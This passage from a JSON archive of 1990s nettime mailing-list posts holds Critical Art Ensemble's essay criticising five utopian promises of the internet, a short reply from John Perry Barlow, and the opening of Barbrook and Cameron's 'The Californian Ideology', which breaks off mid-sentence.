\n\nFlame me if you dare.\n\n\n\n\n\n\n--\n*  distributed via nettime-l : no commercial use without permission\n*  <nettime> is a closed moderated mailinglist for net criticism,\n*  collaborative text filtering and cultural politics of the nets\n*  more info: majordomo {AT} is.in-berlin.de and \"info nettime\" in the msg body\n*  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} is.in-berlin.de\n\n",
                "id": "00005",
                "list": "nettime_l",
                "date": "Wed, 19 Jun 1996 20:10:07 -0500",
                "to": "nettime-l {AT} desk.nl",
                "message-id": "1.5.4.32.19960620011007.0082c278 {AT} uropax.contrib.",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9607/msg00005.html",
                "content-type": "text/plai",
                "author_name": "Pit Schultz",
                "subject": "nettime: Bitch Mutant Manifesto - VNS Matrix"
            }
        ],
        "desc": "..."
    },
    "netzkritik": {
        "lists": [
            {
                "id": "00018",
                "content": "\nAddress to Interface 3:\nUtopian Promises-Net Realities\nCritical Art Ensemble\n\n\nThe need for net criticism certainly is a matter of overwhelming urgency.  \nWhile a number of critics have approached the new world of computerized \ncommunications with a healthy amount of skepticism, their message has been \nlost in the noise and spectacle of corporate hype-the unstoppable tidal wave \nof seduction has enveloped so many in its dynamic utopian beauty that little \ntime for careful reflection is left. Indeed, a glimpse of a possibility for a \nbetter future may be contained in the new techno-apparatus, and perhaps it is \nbest to acknowledge these possibilities here in the beginning, since Critical \nArt Ensemble (CAE) has no desire to take the position of the neoluddites who \nbelieve that the techno-apparatus should be rejected outright, if not \ndestroyed. To be sure, computerized communications offer the possibility for \nthe enhanced storage, retrieval, and exchange of information for those who \nhave access to the necessary hardware, software, and technical skills. In \nturn, this increases the possibility for greater access to vital information, \nfaster exchange of information, enhanced distribution of information, and \ncross cultural artistic and critical collaborations. The potential \nhumanitarian benefits of electronic systems are undeniable; however, CAE \nquestions whether the electronic apparatus is being used for these purposes in\nthe representative case, much as we question the political policies which \nguide the net's development and accessibility.\n        This is not the first time that the promise of electronic utopia has \nbeen offered. One need only look back at Brecht's critique of radio to find \nreason for concern when such promises are resurrected. While Brecht recognized\nradio's potential for distributing information for humanitarian and cultural \npurposes, he was not surprised to see radio being used for the very opposite. \nNor should we be surprised that his calls for a more democratic interactive \nmedium went unheeded.\n        During the early 1970s, there was a brief euphoric moment during the \nvideo revolution when some believed that Brecht's call for an interactive and \ndemocratic electronic medium was about to be answered. The development of home\nvideo equipment led to a belief that soon everyone who desired to would be \nable to manufacture their own television. This seemed to be a real \npossibility. As the cost of video equipment began to drop dramatically, and \ncable set-ups offered possibilities for distribution, electronic utopia seemed\nimmanent, and yet, the home video studio never came to be. Walls and \nboundaries confounding this utopian dream seemed to appear out of nowhere. For\ninstance, in the US, standards for broadcast quality required postproduction \nequipment that no one could access or afford except capital-saturated media \ncompanies. Most cable channels remained in the control of corporate media, and\nthe few public access channels fell into the hands of censors who cited \n\"community standards\" as their reason for an orderly broadcast system. While \nproduction equipment did get distributed as promised, the hopes of the video \nutopianists were crushed at the distribution level. Corporate goals for \nestablishing a new market for electronic hardware were met, but the means for \ndemocratic cultural production never appeared.\n        Now that giddy euphoria is back again, arising in the wake of the \npersonal computer revolution of the early 80s, and with the completion of a \n\"world-wide\" multi-directional distribution network. As to be expected, \nutopian promises from the corporate spectacle machine drown the everyday lives\nof bureaucrats and technocrats around the first world, and once again there \nseems to be a general belief-at least within technically adept \npopulations-that this time the situation will be different. And to a degree, \nthis situation is different. There is an electronic free zone, but from CAE's \nperspective, it is only a modest development at best. By far the most \nsignificant use of the electronic apparatus is to keep order, to replicate \ndominant pancapitalist ideology, and to develop new markets.\n        At the risk of redundantly stating the obvious, CAE would like to \nrecall the origins of the internet. The internet is war-tech that was designed\nas an analog to the US highway system (Yet another product which stemmed from \nthe mind of the military, and which was primarily intended as a decentralized \naid to mobilization). The US military wanted an apparatus that would preserve \ncommand structure in the case of nuclear attack. The answer was an electronic \nweb capable of immediately rerouting itself if one or more links were \ndestroyed, thus allowing surviving authorities to remain in communication with\neach other and to act accordingly. With such an apparatus in place, military \nauthority could be maintained, even through the worst of catastrophes. With \nsuch planning at the root of the internet, suspicion about its alleged \nanti-authoritarian characteristics must occur to anyone who takes the time to \nreflect on the apparatus. It should also be noted that the decentralized \ncharacteristics for which so many praise the net did not arise out of \nanarchist intention, but out of nomadic military strategy.  \n        Research scientists were the next group to go on-line after the \nmilitary. While it would be nice to believe that their efforts on the net were\nbenign, one must question why they were given access to the apparatus in the \nfirst place. Science has always claimed legitimacy by announcing its \n\"value-free\" intentions to search for the truth of the material world; \nhowever, this search costs money, and hence a political economy with a direct \nand powerful impact on science's lofty goals of value-free research enters the\nequation. Do investors in scientific research offer money with no restrictions\nattached? This seems quite unlikely. Some type of return on the investment is \nimplicit in any demand from funding institutions.  In the US, the typical \ndemand is either theory or technology with military applications or \napplications that will strengthen economic development. The greater the \nresults promised by science in terms of these two categories, the more \ngenerous the funding. In the US, not even scientists get something for \nnothing. \n        The need for greater efficiency in research and development opened the\nnew communication systems to academics, and with that development, a necessary\ndegree of disorder was introduced into the apparatus. Elements of free zone \ninformation exchange began to appear. But as this system developed, other \ninvestors, most notably the corporations, demanded their slice of the \nelectronic pie. All kinds of financial business were conducted on the net with\nrelatively secure efficiency. As the free zone began to grow, the corporations\nrealized that a new market mechanism was growing with it, and eventually the \nmarketeers were released onto the net. At this point, a peculiar paradox came \ninto being: Free market capitalism came into conflict with the conservative \ndesire for order. It became apparent that for this new market possibility to \nreach its full potential, authorities would have to tolerate a degree of \nchaos. This was necessary to seduce the wealthier classes into using the net \nas site of consumption and entertainment, and second, to offer the net as an \nalibi for the illusion of social freedom. Although totalizing control of \ncommunications was lost, the overall cost of this development to governments \nand corporations was minimal, and in actuality, the cost was nothing compared \nto what was gained. Thus was born the most successful repressive apparatus of \nall time; and yet it was (and still is) successfully represented under the \nsign of liberation. What is even more frightening is that the corporation's \nbest allies in maintaining the gleaming utopian surface of cyberspace are some\nof the very populations who should know better. Techno-utopianists have \naccepted the corporate hype, and are now disseminating it as the reality of \nthe net. This regrettable alliance between the elite virtual class and new age\ncybernauts is structured around five key virtual promises. These are the \npromised social changes that seem as if they will occur at any moment, but \nnever actually come into being.\n\nPromise One: The New Body\n\nThose of us familiar with discourse on cyberspace and virtual reality have \nheard this promise over and over again, and in fact there is a kernel of truth\nassociated with it. The virtual body is a body of great potential. On this \nbody we can reinscribe ourselves using whatever coding system we desire. We \ncan try on new body configurations. We can experiment with immortality by \ngoing places and doing things that would be impossible in the physical world. \nFor the virtual body, nothing is fixed and everything is possible. Indeed, \nthis is the reason why hackers wish to become disembodied consciousnesses \nflowing freely through cyberspace, willing the idea of their own bodies and \nenvironments. As virtual reality improves with new generations of computer \ntechnology, perhaps this promise will come to pass in the realm of the \nmulti-sensual; however, it is currently limited to gender reassignment on chat\nlines, or game boy flight simulators.\n        What did this allegedly liberated body cost? Payment was taken in the \nform of a loss of individual sovereignty, not just from those who use the net,\nbut from all people in technologically saturated societies. With the virtual \nbody came its fascist sibling, the data body-a much more highly developed \nvirtual form, and one that exists in complete service to the corporate and \npolice state. The data body is the total collection of files connected to an \nindividual. The data body has always existed in an immature form since the \ndawn of civilization. Authority has always kept records on its underlings. \nIndeed, some of the earliest records that Egyptologists have found are tax \nrecords. What brought the data body to maturity is the technological \napparatus. With its immense storage capacity and its mechanisms for quickly \nordering and retrieving information, no detail of social life is too \ninsignificant to record and to scrutinize. From the moment we are born and our\nbirth certificate goes on-line, until the day we die and our death certificate\ngoes on-line, the trajectory of our individual lives is recorded in scrupulous\ndetail. Education files, insurance files, tax files, communication files, \nconsumption files, medical files, travel files, criminal files, investment \nfiles, files into infinity....\n        The data body has two primary functions. The first purpose serves the \nrepressive apparatus; the second serves the marketing apparatus. The desire of\nauthoritarian power to make the lives of its subordinates perfectly \ntransparent achieves satisfaction through the data body. Everyone is under \npermanent surveillance by virtue of their necessary interaction with the \nmarketplace. Just how detailed data body information actually may be is a \nmatter of speculation, but we can be certain that it is more detailed than we \nwould like it to be, or care to think.\n        The second function of the data body is to give marketeers more \naccurate demographic information to design and create target populations. \nSince pancapitalism has long left the problem of production behind, moving \nfrom an economy of need to an economy of desire, marketeers have developed \nbetter methods to artificially create desires for products that are not \nneeded. The data body gives them insights into consumption patterns, spending \npower, and \"lifestyle choices\" of those with surplus income. The data body \nhelps marketeers to find you, and provide for your lifestyle. The postmodern  \nslogan, \"You don't pick the commodity; the commodity picks you\" has more \nmeaning than ever.\n        But the most frightening thing about the data body is that it is the \ncenter of an individual's social being. It tells the members of officialdom \nwhat our cultural identities and roles are. We are powerless to contradict the\ndata body. Its word is the law. One's organic being is no longer a determining\nfactor, from the point of view of corporate and government bureaucracies. Data\nhas become the center of social culture, and our organic flesh is nothing more\nthan a counterfeit representation of original data.\n\nPromise 2: Convenience\n\nEarlier this century, the great sociologist Max Weber explained why \nbureaucracies work so well as a means of rationalized social organization in \ncomplex society. In comparing bureaucratic practice to his ideal-type, only \none flaw appears: Humans provide the labor for these institutions. \nUnfortunately humans have nonrational characteristics, the most notorious of \nwhich is the expression of desire. Rather than working at optimum efficiency, \norganic units are likely to seek out that which gives them pleasure in ways \nthat are contrary to the instrumental aims of the bureaucracy. All varieties \nof creative slacking are employed by organic units These range from work \nslowdowns to unnecessary chit-chat with one's fellow employees. Throughout \nthis century policy makers and managerial classes have concerned themselves \nwith developing a way to stop such activities in order to maximize and \nintensify labor output.\n        The model for labor intensification came with the invention of the \nrobot. So long as the robot is functional, it never strays from its task. \nCompletely replacing humans with robots is not possible, since so far, they \nare only capable of simple, albeit precise, mechanical tasks. They are data \ndriven, as opposed to the human capacity for concept recognition. The question\nthen becomes how to make humans more like robots, or to update the discourse, \nmore like cyborgs. At present, much of the technology necessary to accomplish \nthis goal is available, and more is in development. However, having the \ntechnology, such as telephone headsets or wearable computers, is not enough. \nPeople must be seduced into wanting to wear them, at least until the \ntechnology evolves that can be permanently fixed to their bodies.\n        The means of seduction? Convenience. Life will be so much easier if we\nonly connect to the machine. As usual there is a grain of truth to this idea. \nI can honestly admit that my life has been made easier since I began using a \ncomputer, but only in a certain sense. As a writer, it is easier for me to \nfinish a paper now than it was when I used pen and paper or a typewriter. The \nproblem: Now I am able to (and therefore, must) write two papers in the time \nit used to take to produce one. The implied promise that I will have more free\ntime because I use a computer is false.\n        Labor intensification through time management is only the beginning, \nas there is another problem in regard to total utility. People can still \nseparate themselves from their work stations-the true home of the modern day \ncyborg. The seduction continues, persuading us that we should desire to carry \nour electronic extensions with us all the time. The latest commercials from \nAT&T are the perfect representation of consumer seduction. They promise: Have \nyou ever sent a fax....from the beach? You will.\" or  \"Have you ever received \na phone call....on your wrist? You will.\" This commercial is most amusing. \nThere is an image of a young man who has just finished climbing a mountain and\nis watching a sunset. At that moment his wife calls on his wrist phone, and he\ndescribes the magnificence of the sunset to her. Now who is kidding who. Is \nyour wife going to call you while you are mountain climbing? Are you going to \nneed to send a fax while lounging on the beach? The corporate intention for \ndeploying this technology (in addition to profit)  is so transparent, it's \npainful. The only possible rejoinder is: \"Have you ever been at a work \nstation....24 hours a day, 365 days a year? You will.\" Now the sweat shop can \ngo any where you do!\n        Another telling element in this representation is that the men in \nthese commercials are always alone. (This is a gendered element which CAE is \nsure has not failed to catch the attention of feminists, although CAE is \nunsure as to whether it will be interpreted as sexism or a stroke of luck). In\nthis sense, the problem is doubled: Not only is the work station always with \nyou, but social interaction will always be fully mediated by technology. This \nis the perfect solution to abolish that nuisance, the subversive environment \nof public space.\n\nPromise 3: Community\n\nCurrently in the US, there is no more popular buzz word than \"community.\" This\nword is so empty of meaning that it can be used to describe almost any social \nmanifestation. For the most part, it is used to connote sympathy with or \nidentification with a particular social aggregate. In this sense, one hears of\nthe gay community or the African-American community. There are even oxymorons,\nsuch as the international community. Corporate marketeers from IBM to \nMicrosoft have been quick to capitalize on this empty sign as a means to build\ntheir commercial campaigns. Recognizing the extreme alienation that afflicts \nso many under the reign of pancapitalism, they offer net technology as a cure \nfor a feeling of loss that has no referent. Through chat lines, news groups, \nand other digital environments, nostalgia for a golden age of sociability that\nnever existed is replaced by a new modern day sense of community.\n        This promise is nothing but aggravating. There is not even a grain of \ntruth in it. If there is any reason for optimism, it is only to the extent \nmentioned in the beginning of this lecture; that is, the net makes possible a \nbroader spectrum of information exchange. However, anyone with even a basic \nknowledge of sociology understands that information exchange in no way \nconstitutes a community. Community is a collective of kinship networks which \nshare a common geographic territory, a common history, and a shared value \nsystem, one usually rooted in a common religion. Typically, communities are \nrather homogenous, and tend to exist in the historical context of a simple \ndivision of labor.  Most importantly, communities embrace nonrational \ncomponents of life and of consciousness. Social action is not carried out by \nmeans of contract, but by understandings, and life is certainly not fully \nmediated by technology. In this sense, the connection between community and \nnet life is unfathomable. (CAE does not want to romanticize this social form, \nsince communities can be as repressive and/or as pathological as any society).\n\n        Use of the net beyond its one necessary use (i.e., information \ngathering), is, from CAE's perspective, a highly developed anti-social form of\ninteracting. That someone would want to stay in his or her home or office and \nreject human contact in favor of a textually mediated communication experience\ncan only be a symptom of rising alienation, not a cure for it. Why the \nrepressive apparatus would want this isolation to develop is very clear: If \nsomeone is on-line, he or she is off the street and out of the gene pool.  In \nother words, they are well within the limits of control. Why the marketing \napparatus would desire such a situation is equally clear: The lonelier people \nget, the more they will have no choice but to turn to work and to consumption \nas a means of seeking pleasure. \n        In a time when public space is diminishing and being replaced by \nfortified institutions such as malls, theme parks, and other manifestations of\nforced consumption that pass themselves off as locations for social \ninteraction, shouldn't we be looking for a sense of the social, (that is, to \nthe extent still possible), direct and unmediated, rather than seeing these \nanti-public spaces replicated in an even more lonely electronic form?\n\nPromise 4: Democracy\n\nAnother promise eternally repeated in discourse on cyberspace is the idea that\nthe electronic apparatus will be the zenith of utopian democracy. Certainly, \nthe internet does have some democratic characteristics. It provides all its \ncyber-citizens with the means to contact all other cyber-citizens. On the net,\neveryone is equal. The shining emblem of this new democracy is the World Wide \nWeb.  People can construct their own home pages, and even more people can \naccess these sites as points of investigation. This is all well and good, but \nwe must ask ourselves if these democratic characteristics actually constitute \ndemocracy. A platform for individual voices is not enough (especially in the \nWeb where so many voices are lost in the clutter of data debris). Democracy is\ndependent on the individual's ability to act on the information received. \nUnfortunately, even with the net, autonomous action is still as difficult as \never.\n        The difficulty here is threefold: First, there is the problem of \nlocality and geographic separation. In the case of information gathering, the \ninformation is only as useful as the  situation and the location of the \nphysical body allows. For example, a gay man who lives in a place where \nhomophobia reigns, or even worse, where homosexual practice is an illegal \nactivity, will still be unable to openly act on his desires, regardless of the\ninformation he may gather on the net. He is still just as closeted in his \neveryday life practice, and is reduced to passive spectatorship in regard to \nthe object of his desire, so long as he remains in a repressive locality. \n        The second problem is one of institutional oppression. For example, no\none can deny that the net can function as a wonderful pedagogical tool and can\nact as a great means for self education. Unfortunately, the net has very \nlittle legitimacy in and of itself as an educational institution. The net must\nbe used in a physical world context under appropriate supervision for it to be\nawarded legitimacy. In the case of education, in order for the knowledge-value\ngained from the net to be socially recognized and accepted, it must be used as\na tool within the context of a university or a school.  These educational \ncontexts are fortified in a manner to maintain a status-quo distribution of \neducation. Consequently, one can acquire a great deal of knowledge from the \nnet, but still have no education capital to be exchanged in the marketplace. \nIn both of these cases, there must be a liberated physical environment if the \nnet is to function as a supplement to democratic activity.\n        The final problem is that the net functions as a disciplinary \napparatus through the use of transparency. If people feel that they are under \nsurveillance, they are less likely to act in manner that is beyond normalized \nactivity; that is, they are less likely to express themselves freely, and to \notherwise act in manner that could produce political and social changes within\ntheir environments. In this sense, the net serves the purpose of negating \nactivity rather than encouraging it. It channels people toward orderly \nhomogeneous activity, rather than reinforcing the acceptance of difference \nthat democratic societies need. \n        To be sure, there are times when transparency can be turned against \nitself. For example, one of the reasons that the PRI party's counteroffensive \nagainst the Zapatistas did not end in total slaughter, was the resisting \nparty's use of the net to keep attention focused upon its members and its \ncause. By disallowing the secret of massacre, many lives were saved, and the \nresistant movement could continue. Much the same can be said about the stay of\nexecution won for Mumia Abu Jamal. The final point here is that it must be \nremembered that the internet does not exist in a vacuum. It is intimately \nrelated to all kinds of social structures and historical dynamics, and hence \nits democratic structure cannot be realistically analyzed as if it were a \nclosed system.\n        Taking a step back from the insider's point of view, achieving \ndemocracy through the net seems even less likely considering the demographics \nof the situation. There are five and a half billion people in the world. Over \na billion barely keep themselves alive from day to day. Most people don't even\nhave a telephone, and hence it seems very unlikely that they will get a \ncomputer, let alone go on-line. This situation raises the question, is the net\na means to democracy, or simply another way to divide the world into haves and\nhave-nots? We also must ask ourselves, how many people consider the net really\nrelevant in their everyday lives? While CAE believes that it is safe to assume\nthat the number of net users will grow, it seems unlikely that it will grow to\ninclude more than those who have the necessary educational background, and/or \nthose who are employed by bureaucratic and technocratic agencies.\n        CAE suggests that this elite stronghold will remain so, and that most \nof the first world population that will become a part of the computer \nrevolution will do so primarily as passive consumers, rather than as active \nparticipants. They will be playing computer games, watching interactive TV, \nand shopping in virtual malls. The stratified distribution of education will \nact as the guardian of the virtual border between the passive and the active \nuser, and prevent those populations participating in multidirectional \ninteractivity from increasing in any significant numbers.\n\nPromise 5: New Consciousness\n\nOf all the net hype, this promise is perhaps the most insidious, since it \nseems to have no corporate sponsor (although Microsoft has tapped the trend to\nsome extent). The notion of the new consciousness has emerged out of new age \nthinking. There is a belief promoted by cyber-gurus (Timothy Leary, Jason \nLanier, Roy Ascott, Richard Kriesche, Mark Pesci) that the net is the \napparatus of a benign collective consciousness. It is the brain of the planet \nwhich transcends into mind through the activities of its users. It can \nfunction as a third eye or sixth sense for those who commune with this global \ncoming together. This way of thinking is the paramount form of ethnocentrism \nand myopic class perception. As discussed in the last section, the third world\nand most of the first world citizenry are thoroughly marginalized in this \ndivine plan. If anything, this theory replicates the imperialism of early \ncapitalism, and recalls notions such as manifest destiny. If new consciousness\nis indicative of anything, it is the new age of imperialism that will be \nrealized through information control (as opposed to the early capital model of\nmilitary domination). \n        Of the former four promises examined here, each has proven on closer \ninspection to be a replication of authoritarian ideology to justify and put \ninto action greater repression and oppression. New consciousness is no \nexception. Even if we accept the good intentions and optimistic hopes of the \nnew age cybernauts, how could anyone conclude that an apparatus emerging out \nmilitary aggression and corporate predation could possibly function as a new \nform of terrestrial spiritual development? \n\nConclusion\n\nAs saddened as CAE is to say it, the greater part of the net is capitalism as \nusual. It is a site for repressive order, for the financial business of \ncapital, and for excessive consumption. While a small part of the net may be \nused for humanistic purposes and to resist authoritarian structure, its \noverall function is anything but humanistic. In the same way that we would not\nconsider an unregulated bohemian neighborhood to be representative of a city, \nwe must also not assume that our own small free zone domains are \nrepresentative of the digital empire. Nor can we trust our futures to the \nempty promises of a seducer that has no love in its heart.\n\n----\nanti-copyright 1995 CAE\n\ndistributet by nettime\nnot for commercial use \n\n",
                "to": "nettime {AT} is.in-berlin.de",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9511/msg00018.html",
                "list": "nettime_l",
                "author_name": "Pit Schultz",
                "subject": "Utopian Promises-Net Realities / Critical Art Ensembl",
                "from": "pit {AT} uropax.contrib.de (Pit Schultz)",
                "follow-up": [
                    {
                        "from": "John Perry Barlow <barlow {AT} eff.org>",
                        "content": "\nAt 5:01 PM 11/19/95, Pit Schultz wrote:\n\n>The need for net criticism certainly is a matter of overwhelming urgency.\n\n\nPit,\n\nReally? What do you propose we do with your criticisms and indictments?\nEven if we find the Net to be brimming with toxins to the future\ncommonweal, by what means shall we prevent them?\n\n\"Direct action\" to control the Net toward the improvement of Humankind is\nno less perilous in the service of your good intentions than it would be in\nthe service of Senator Exon's. And stopping it is not an option. It is as\ninevitable as evolution, running, as it does, on the same engine.\n\nA decentralized medium offers but few choices - and they are very personal\nones: jack in, jack out, or jack off.\n\nIn the end, as Gandhi proposed, \"You must be the change you wish to see in\nthe world.\" There's little else you can do.\n\nYrs,\n\nJohn Perry\n\n\n\n\n\n\n\n****************************************************************\nJohn Perry Barlow, Cognitive Dissident\nCo-Founder, Electronic Frontier Foundation\n\nHome(stead) Page: http://www.eff.org/~barlow\n\nBarlow in Meatspace: Salt Lake City 11/19 801/582-5035\n\nComing soon to: Wyoming 11/20...\n\nIn Memoriam, Dr. Cynthia Horner and Jerry Garcia\n\n*****************************************************************\n\nTime present and time past\nare both perhaps present in time future\nand time future contained in time past.\n\n                                  --T.S. Elliot, Burnt Norton\n\n\n\n",
                        "id": "00013",
                        "date": "Sun, 19 Nov 1995 22:16:20 -0700",
                        "to": "pit {AT} uropax.contrib.de (Pit Schultz)",
                        "message-id": "v02120d02acd59344e82c {AT} [199.173.99.11]",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9511/msg00013.html",
                        "content-type": "text/plai",
                        "author_name": "John Perry Barlow",
                        "subject": "Re: Utopian Promises-Net Realities / Critical Art Ensembl"
                    }
                ],
                "message-id": "m0tHCBO&#45;0008gYC {AT} uropax.contrib.",
                "date": "Sun, 19 Nov 1995 17:01:30 +0100 (MET)",
                "content-type": "text/plai"
            },
            {
                "id": "00005",
                "content": "\n\nThe Californian Ideology\n\nRichard Barbrook and Andy Cameron\n\n\"Not to lie about the future is impossible and\none can lie about it at will\" - Naum Gabo 1\n\nAs the Dam Bursts...\n\nAt the end of the twentieth century, the long predicted convergence of\nthe media, computing and telecommunications into hypermedia is finally\nhappening. 2 Once again, capitalism's relentless drive to diversify and\nintensify the creative powers of human labour is on the verge of\nqualitatively transforming the way in which we work, play and live\ntogether. By integrating different technologies around common protocols,\nsomething is being created which is more than the sum of its parts. When\nthe ability to produce and receive unlimited amounts of information in\nany form is combined with the reach of the global telephone networks,\nexisting forms of work and leisure can be fundamentally transformed. New\nindustries will be born and current stock market favourites will swept\naway. At such moments of profound social change, anyone who can offer a\nsimple explanation of what is happening will be listened to with great\ninterest. At this crucial juncture, a loose alliance of writers,\nhackers, capitalists and artists from the West Coast of the USA have\nsucceeded in defining a heterogeneous orthodoxy for the coming\ninformation age: the Californian Ideology.\n\nThis new faith has emerged from a bizarre fusion of the cultural\nbohemianism of San Francisco with the hi-tech industries of Silicon\nValley. Promoted in magazines, books, tv programmes, Web sites,\nnewsgroups and Net conferences, the Californian Ideology promiscuously\ncombines the free-wheeling spirit of the hippies and the entrepreneurial\nzeal of the yuppies. This amalgamation of opposites has been achieved\nthrough a profound faith in the emancipatory potential of the new\ninformation technologies. In the digital utopia, everybody will be both\nhip and rich. Not surprisingly, this optimistic vision of the future has\nbeen enthusiastically embraced by computer nerds, slacker students,\ninnovative capitalists, social activists, trendy academics, futurist\nbureaucrats and opportunistic politicians across the USA. As usual,\nEuropeans have not been slow in copying the latest fad from America.\nWhile a recent EU Commission report recommends following the Californian\n'free market' model for building the 'information superhighway',\ncutting-edge artists and academics eagerly imitate the 'post-human'\nphilosophers of the West Coast's Extropian cult. 3 With no obvious\nrivals, the triumph of the Californian Ideology appears to be complete.\n\nThe widespread appeal of these West Coast ideologues isn't simply the\nresult of their infectious optimism. Above all, they are passionate\nadvocates of what appears to be an impeccably libertarian form of\npolitics - they want information technologies to be used to create a new\n'Jeffersonian democracy' where all individuals will be able to express\nthemselves freely within cyberspace. 4  However, by championing this\nseemingly admirable ideal, these techno-boosters are at the same time\nreproducing some of the most atavistic features of American society,\nespecially those derived from the bitter legacy of slavery. Their\nutopian vision of California depends upon a wilful blindness towards the\nother - much less positive - features of life on the West Coast: racism,\npoverty and environmental degradation. 5 Ironically, in the not too\ndistant past, the intellectuals and artists of the Bay Area were\npassionately concerned about these issues.\n\nRonald Reagan v. the hippies\n\nOn 15 May 1969, Governor Ronald Reagan ordered armed police to carry out\na dawn raid against hippie protesters who had occupied People's Park\nnear the Berkeley campus of the University of California. During the\nsubsequent battle, one man was shot dead and 128 other people needed\nhospital treatment. 6 On that day, the 'straight' world and the\ncounter-culture appeared to be implacably opposed. On one side of the\nbarricades, Governor Reagan and his followers advocated unfettered\nprivate enterprise and supported the invasion of Vietnam. On the other\nside, the hippies championed a social revolution at home and opposed\nimperial expansion abroad. In the year of the raid on People's Park, it\nseemed that the historical choice between these two opposing visions of\nAmerica's future could only be settled through violent conflict. As\nJerry Rubin, one of the Yippie leaders, said at the time: 'Our search\nfor adventure and heroism takes us outside America, to a life of\nself-creation and rebellion. In response, America is ready to destroy\nus...' 7\n\nDuring in the '60s, radicals from the Bay Area pioneered the political\noutlook and cultural style of New Left movements across the world.\nBreaking with the narrow politics of the post-war era, they launched\ncampaigns against militarism, racism, sexual discrimination, homophobia,\nmindless consumerism and pollution. In place of the traditional left's\nrigid hierarchies, they created collective and democratic structures\nwhich supposedly prefigured the libertarian society of the future. Above\nall, the Californian New Left combined political struggle with cultural\nrebellion. Unlike their parents, the hippies refused to conform to the\nrigid social conventions imposed on organisation men by the military,\nthe universities, the corporations and even left-wing political parties.\nInstead they openly declared their rejection of the straight world\nthrough their casual dress, sexual promiscuity, loud music and\nrecreational drugs.  8 The radical hippies were liberals in the social\nsense of the word. They championed universalist, rational and\nprogressive ideals, such as democracy, tolerance, self-fulfillment and\nsocial justice. Emboldened by over twenty years of economic growth, they\nbelieved that history was on their side. In sci-fi novels, they dreamt\nof 'ecotopia': a future California where cars had disappeared,\nindustrial production was ecologically viable, sexual relationships were\negalitarian and daily life was lived in community groups. 9 For some\nhippies, this vision could only be realised by rejecting scientific\nprogress as a false God and returning to nature. Others, in contrast,\nbelieved that technological progress would inevitably turn their\nlibertarian principles into social fact. Crucially, influenced by the\ntheories of Marshall McLuhan, these technophiliacs thought that the\nconvergence of media, computing and telecommunications would inevitably\ncreate the electronic agora - a virtual place where everyone would be\nable to express their opinions without fear of censorship. Despite being\na middle-aged English professor, McLuhan preached the radical message\nthat the power of big business and big government would be imminently\noverthrown by the intrinsically empowering effects of new technology on\nindividuals.\n\n'Electronic media...abolish the spatial dimension... By electricity, we\neverywhere resume person-to-person relations as if on the smallest\nvillage scale. It is a relation in depth, and without delegation of\nfunctions or powers... Dialogue supersedes the lecture.' 10\n\nEncouraged by McLuhan's predictions, West Coast radicals became involved\nin developing new information technologies for the alternative press,\ncommunity radio stations, home-brew computer clubs and video\ncollectives. These community media activists believed that they were in\nthe forefront of the fight to build a new America. The creation of the\nelectronic agora was the first step towards the implementation of direct\ndemocracy within all social institutions. 11 The struggle might be hard,\nbut 'ecotopia' was almost at hand.\n\nThe Rise of the 'Virtual Class'\n\nWho would have predicted that, in less than 30 years after the battle\nfor People's Park, squares and hippies would together create the\nCalifornian Ideology? Who would have thought that such a contradictory\nmix of technological determinism and libertarian individualism would\nbecoming the hybrid orthodoxy of the information age? And who would have\nsuspected that as technology and freedom were worshipped more and more,\nit would become less and less possible to say anything sensible about\nthe society in which they were applied?\n\nThe Californian Ideology derives its popularity from the very ambiguity\nof its precepts. Over the last few decades, the pioneering work of the\ncommunity media activists has been largely recuperated by the hi-tech\nand media industries. Although companies in these sectors can mechanise\nand sub-contract much of their labour needs, they remain dependent on\nkey people who can research and create original products, from software\nprograms and computer chips to books and tv programmes. Along with some\nhi-tech entrepreneurs, these skilled workers form the so-called 'virtual\nclass': '...the techno-intelligentsia of cognitive scientists,\nengineers, computer scientists, video-game developers, and all the other\ncommunications specialists...'  Unable to subject them to the discipline\nof the assembly-line or replace them by machines, managers have\norganised such intellectual workers through fixed-term contracts. Like\nthe 'labour aristocracy' of the last century, core personnel in the\nmedia, computing and telecoms industries experience the rewards and\ninsecurities of the marketplace. On the one hand, these hi-tech artisans\nnot only tend to be well-paid, but also have considerable autonomy over\ntheir pace of work and place of employment. As a result, the cultural\ndivide between the hippie and the organisation man has now become rather\nfuzzy. Yet, on the other hand, these workers are tied by the terms of\ntheir contracts and have no guarantee of continued employment. Lacking\nthe free time of the hippies, work itself has become the main route to\nself-fulfillment for much of the 'virtual class'. 13\n\nThe Californian Ideology offers a way of understanding the lived reality\nof these hi-tech artisans. On the one hand, these core workers are a\nprivileged part of the labour force. On the other hand, they are the\nheirs of the radical ideas of the community media activists. The\nCalifornian Ideology, therefore, simultaneously reflects the disciplines\nof market economics and the freedoms of hippie artisanship. This bizarre\nhybrid is only made possible through a nearly universal belief in\ntechnological determinism. Ever since the '60s, liberals - in the social\nsense of the word - have hoped that the new information technologies\nwould realise their ideals. Responding to the challenge of the New Left,\nthe New Right has resurrected an older form of liberalism: economic\nliberalism. In place of the collective freedom sought by the hippie\nradicals, they have championed the liberty of individuals within the\nmarketplace. Yet even these conservatives couldn't resist the romance of\nthe new information technologies. Back in the '60s, McLuhan's\npredictions were reinterpreted as an advertisement for new forms of\nmedia, computers and telecommunications being developed by the private\nsector. From the '70s onwards, Toffler, de Sola Pool and other gurus\nattempted to prove that the advent of hypermedia would paradoxically\ninvolve a return to the economic liberalism of the past. 14 This\nretro-utopia echoed the predictions of Asimov, Heinlein and other macho\nsci-fi novelists whose future worlds were always filled with space\ntraders, superslick salesmen, genius scientists, pirate captains and\nother rugged individualists. 15 The path of technological progress\ndidn't always lead to 'ecotopia' - it could instead lead back to the\nAmerica of the Founding Fathers.\n\nElectronic Agora or Electronic Marketplace?\n\nThe ambiguity of the Californian Ideology is most pronounced in its\ncontradictory visions of the digital future. The development of\nhypermedia is a key component of the next stage of capitalism. As Zuboff\npoints out, the introduction of media, computing and telecommunications\ntechnologies directly into the factory and the office is the culmination\nof a long process of separation of the workforce from direct involvement\nin production. 16 If only for competitive reasons, all major industrial\neconomies will eventually be forced to wire up their populations to\nobtain the productivity gains of digital working. What is unknown is the\nsocial and cultural impact of allowing people to produce and exchange\nalmost unlimited quantities of information on a global scale. Above all,\nwill the advent of hypermedia will realise the utopias of either the New\nLeft or the New Right? As a hybrid faith, the Californian Ideology\nhappily answers this conundrum by believing in both visions at the same\ntime - and by not criticising either of them.\n\nOn the one hand, the anti-corporate purity of the New Left has been\npreserved by the 